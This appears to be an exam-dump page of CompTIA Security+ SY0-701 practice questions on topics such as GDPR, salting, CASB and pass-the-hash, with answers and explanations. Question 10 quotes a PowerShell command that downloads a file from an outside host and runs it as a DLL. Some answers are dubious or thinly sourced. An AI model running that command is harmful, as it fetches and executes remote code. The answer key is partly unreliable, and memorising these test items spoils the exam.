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Free SY0-701 Demo Online For CompTIA Certifitcation:

NEW QUESTION 1

A company a "right to forgotten" request To legally comply, the company must remove data related to the requester from its systems. Which Of the following Company most likely complying with?

  • A. NIST CSF
  • B. GDPR
  • C. PCI OSS
  • D. ISO 27001

Answer: B

Explanation:
GDPR stands for General Data Protection Regulation, which is a law that regulates data protection and privacy in the European Union (EU) and the European Economic Area (EEA). GDPR also applies to the transfer of personal data outside the EU and EEA areas. GDPR grants individuals the right to request the deletion or removal of their personal data from an organization’s systems under certain circumstances. This right is also known as the “right to be forgotten” or the “right to erasure”. An organization that receives such a request must comply with it within a specified time frame, unless there are legitimate grounds for retaining the data.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://gdpr-info.eu/issues/right-to-be-forgotten/

NEW QUESTION 2

A systems analyst determines the source of a high number of connections to a web server that were initiated by ten different IP addresses that belong to a network block in a specific country. Which of the following techniques will the systems analyst MOST likely implement to address this issue?

  • A. Content filter
  • B. SIEM
  • C. Firewall rules
  • D. DLP

Answer: C

Explanation:
A firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. The systems analyst can use firewall rules to block connections from the ten IP addresses in question, or from the entire network block in the specific country. This would be a quick and effective way to address the issue of high connections to the web server initiated by these IP addresses.
Reference: CompTIA Security+ SY0-601 Official Text Book, Chapter 5: "Network Security".

NEW QUESTION 3

A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks Which of the following should the administrator consider?

  • A. Hashing
  • B. Salting
  • C. Lightweight cryptography
  • D. Steganography

Answer: B

Explanation:
Salting is a technique that adds random data to a password before hashing it. This makes the hash output more unique and unpredictable, and prevents attackers from using precomputed tables (such as rainbow tables) to crack the password hash. Salting also reduces the risk of collisions, which occur when different passwords produce the same hash.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/

NEW QUESTION 4

The Chief Information Security Officer directed a risk reduction in shadow IT and created a policy requiring all unsanctioned high-risk SaaS applications to be blocked from user access Which of the following is the BEST security solution to reduce this risk?

  • A. CASB
  • B. VPN concentrator
  • C. MFA
  • D. VPC endpoint

Answer: A

Explanation:
A Cloud Access Security Broker (CASB) can be used to monitor and control access to cloud-based applications, including unsanctioned SaaS applications. It can help enforce policies that prevent access to high-risk SaaS applications and provide visibility into the use of such applications by employees. References: CompTIA Security+ SY0-601 Exam Objectives: 3.3 Given a scenario, implement secure mobile solutions.

NEW QUESTION 5

A security analyst discovers that one of the web APIs is being abused by an unknown third party. Logs indicate that the third party is attempting to manipulate the parameters being passed to the API endpoint. Which of the following solutions would best help to protect against the attack?

  • A. DLP
  • B. SIEM
  • C. NIDS
  • D. WAF

Answer: D

Explanation:
WAF stands for Web Application Firewall, which is a type of firewall that can monitor, filter and block web traffic to and from web applications. WAF can protect web applications from common attacks such as
cross-site scripting (XSS), SQL injection, directory traversal, buffer overflow and more. WAF can also enforce security policies and rules that can prevent parameter manipulation or tampering by an unknown third party. WAF is the best solution to help protect against the attack on the web API, as it can inspect the HTTP requests and responses and block any malicious or anomalous activity. Verified References:
SY0-701 dumps exhibit Other Application Attacks – SY0-601 CompTIA Security+ : 1.3 https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/other-application-attacks/ (See Web Application Firewall)
SY0-701 dumps exhibit CompTIA Security+ SY0-601 Exam Cram
https://www.oreilly.com/library/view/comptia-security-sy0-601/9780136798767/ch03.xhtml (See Web Application Firewall)
SY0-701 dumps exhibit Security+ domain #1: Attacks, threats, and vulnerabilities [updated 2021] https://resources.infosecinstitute.com/certification/security-domain-1-threats-attacks-and-vulnerabilities/ (See Web application firewall)

NEW QUESTION 6

A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause?

  • A. Security patches were uninstalled due to user impact.
  • B. An adversary altered the vulnerability scan reports
  • C. A zero-day vulnerability was used to exploit the web server
  • D. The scan reported a false negative for the vulnerability

Answer: A

Explanation:
A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers. Security patches are essential for maintaining the security and functionality of systems and applications.
If the vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability, it means that the patch was either not applied or was uninstalled at some point. A possible reason for uninstalling a security patch could be user impact, such as performance degradation, compatibility issues, or functionality loss.
The other options are not correct because:
SY0-701 dumps exhibit B. An adversary altered the vulnerability scan reports. This could be a possibility, but it is less likely than option A. An adversary would need to have access to the vulnerability scan reports and be able to modify them without being detected. Moreover, altering the reports would not prevent the patch from being applied or uninstalled.
SY0-701 dumps exhibit C. A zero-day vulnerability was used to exploit the web server. This is not correct because a
zero-day vulnerability is a vulnerability that is unknown to the public or the vendor, and therefore has no patch available. The question states that a patch is available for the vulnerability that was used to exploit the server.
SY0-701 dumps exhibit D. The scan reported a false negative for the vulnerability. This is not correct because a false negative is when a scan fails to detect a vulnerability that is present. The question states that the vulnerability is present in historical vulnerability scan reports, which means that it was detected by previous scans.
According to CompTIA Security+ SY0-601 Exam Objectives 1.4 Given a scenario, analyze potential indicators to determine the type of attack:
“A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers.”
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.getastra.com/blog/security-audit/vulnerability-scanning-report/

NEW QUESTION 7

Which of the following should customers who are involved with Ul developer agreements be concerned with when considering the use of these products on highly sensitive projects?

  • A. Weak configurations
  • B. Integration activities
  • C. Unsecure user accounts
  • D. Outsourced code development

Answer: A

Explanation:
Customers who are involved with Ul developer agreements should be concerned with weak configurations when considering the use of these products on highly sensitive projects. Weak configurations can lead to security vulnerabilities, which can be exploited by malicious actors. It is important to ensure that all configurations are secure and up-to-date in order to protect sensitive data. Source: UL

NEW QUESTION 8

A company needs to centralize its logs to create a baseline and have visibility on its security events Which of the following technologies will accomplish this objective?

  • A. Security information and event management
  • B. A web application firewall
  • C. A vulnerability scanner
  • D. A next-generation firewall

Answer: A

Explanation:
Security information and event management (SIEM) is a solution that collects, analyzes, and correlates logs and events from various sources such as firewalls, servers, applications, etc., within an organization’s network. It can centralize logs to create a baseline and have visibility on security events by providing a unified dashboard and reporting system for log management and security monitoring.

NEW QUESTION 9

Which of the following can be used to calculate the total loss expected per year due to a threat targeting an asset?

  • A. EF x asset value
  • B. ALE / SLE
  • C. MTBF x impact
  • D. SLE x ARO

Answer: D

Explanation:
The total loss expected per year due to a threat targeting an asset can be calculated using the Single Loss Expectancy (SLE) multiplied by the Annualized Rate of Occurrence (ARO). SLE is the monetary loss expected from a single event, while ARO is the estimated frequency of that event occurring in a year. Reference: CompTIA Security+ Study Guide: Exam SY0-501, 7th Edition, by Emmett Dulaney and Chuck Easttom, Chapter 9: Risk Management, page 414.

NEW QUESTION 10

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
Which of the following BEST describes what the analyst found?

  • A. A Powershell code is performing a DLL injection.
  • B. A PowerShell code is displaying a picture.
  • C. A PowerShell code is configuring environmental variables.
  • D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:
According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
https://www.comptia.org/training/books/security-sy0-601-study-guide

NEW QUESTION 11

A company wants to deploy decoy systems alongside production systems in order to entice threat actors and to learn more about attackers. Which of the follow r 3 best describes these systems?

  • A. DNS sinkholes
  • B. Honey pots
  • C. Virtual machines
  • D. Neural networks

Answer: B

Explanation:
Honey pots are decoy systems or resources that are designed to attract and deceive threat actors and to learn more about their motives, techniques, etc. They can be deployed alongside production systems to create an illusion of a vulnerable target and divert attacks away from the real systems. They can also collect valuable information and evidence about the attackers and their activities for further analysis or prosecution.

NEW QUESTION 12

A company wants to deploy PKI on its internet-facing website The applications that are currently deployed are
• www company.com (mam website)
• contact us company com (for locating a nearby location)
• quotes company.com (for requesting a price quote)
The company wants to purchase one SSL certificate that will work for all the existing applications and any future applications that follow the same naming conventions, such as store company com Which of the following certificate types would best meet the requirements?

  • A. SAN
  • B. Wildcard
  • C. Extended validation
  • D. Self-signed

Answer: B

Explanation:
A wildcard certificate is a type of SSL certificate that can secure multiple subdomains under one domain name by using an asterisk (*) as a placeholder for any subdomain name. For example, *.company.com can secure www.company.com, contactus.company.com, quotes.company.com, etc. It can work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com.

NEW QUESTION 13

A manager for the development team is concerned about reports showing a common set of vulnerabilities. The set of vulnerabilities is present on almost all of the applications developed by the team. Which of the following approaches would be most effective for the manager to use to address this issue?

  • A. Tune the accuracy of fuzz testing.
  • B. Invest in secure coding training and application security guidelines.
  • C. Increase the frequency of dynamic code scans 1o detect issues faster.
  • D. Implement code signing to make code immutable.

Answer: B

Explanation:
Invest in secure coding training and application security guidelines is the most effective approach for the manager to use to address the issue of common vulnerabilities in the applications developed by the team. Secure coding training can help the developers learn how to write code that follows security best practices and avoids common mistakes or flaws that can introduce vulnerabilities. Application security guidelines can provide a set of standards and rules for developing secure applications that meet the company’s security requirements and policies. By investing in secure coding training and application security guidelines, the manager can improve the security awareness and skills of the development team and reduce the number of
vulnerabilities in their applications. References: 1
CompTIA Security+ Certification Exam Objectives, page 9,
Domain 2.0: Architecture and Design, Objective 2.3: Summarize secure application development, deployment, and automation concepts 2
CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0:
Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3 https://www.comptia.org/blog/what-is-secure-coding

NEW QUESTION 14

A client sent several inquiries to a project manager about the delinquent delivery status of some critical reports. The project manager claimed the reports were previously sent via email, but then quickly generated and backdated the reports before submitting them as plain text within the body of a new email message thread. Which of the following actions MOST likely supports an investigation for fraudulent submission?

  • A. Establish chain of custody.
  • B. Inspect the file metadata.
  • C. Reference the data retention policy.
  • D. Review the email event logs

Answer: D

Explanation:
Reviewing the email event logs can support an investigation for fraudulent submission, as these logs can provide details about the history of emails, including the message content, timestamps, and sender/receiver information. Reference: CompTIA Security+ Certification Exam Objectives, Exam SY0-601, 3.2 Given a scenario, implement appropriate data security and privacy controls.

NEW QUESTION 15

An application owner reports suspicious activity on an internal financial application from various internal users within the past 14 days. A security analyst notices the following:
•Financial transactions were occurring during irregular time frames and outside of business hours by unauthorized users.
•Internal users in question were changing their passwords frequently during that time period.
•A jump box that several domain administrator users use to connect to remote devices was recently compromised.
•The authentication method used in the environment is NTLM.
Which of the following types of attacks is MOST likely being used to gain unauthorized access?

  • A. Pass-the-hash
  • B. Brute-force
  • C. Directory traversal
  • D. Replay

Answer: A

Explanation:
The suspicious activity reported by the application owner, combined with the recent compromise of the jump box and the use of NTLM authentication, suggests that an attacker is likely using a pass-the-hash attack to gain unauthorized access to the financial application. This type of attack involves stealing hashed passwords from memory and then using them to authenticate as the compromised user without needing to know the user's plaintext password. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 5

NEW QUESTION 16
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